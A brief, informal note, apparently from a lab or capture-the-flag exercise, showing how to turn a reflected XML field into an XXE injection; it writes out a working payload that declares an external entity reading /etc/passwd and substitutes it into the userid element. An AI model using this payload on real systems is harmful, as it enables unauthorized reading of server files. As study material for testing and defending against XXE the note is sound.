Don’t know how to identify. I guess just gun blazing any xml

Looking at this xml:

<?xml version="1.0" encoding="UTF-8"?>
	<root>
		<subtotal>undefined</subtotal>
		<userid>1206</userid>
	</root>

We can create this reference.

<!DOCTYPE xxe [
  <!ENTITY filedisclosure SYSTEM "file:///etc/passwd">
]>

Add it above <root>, then reference filedisclosure where it will output out. In this case, userid is reflected as 1206, so we change it to &filedisclosure;

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE xxe [
		<!ENTITY filedisclosure SYSTEM "file:///etc/passwd">
	]>
	<root>
		<subtotal>undefined</subtotal>
		<userid>&filedisclosure;</userid>
	</root>

Like this: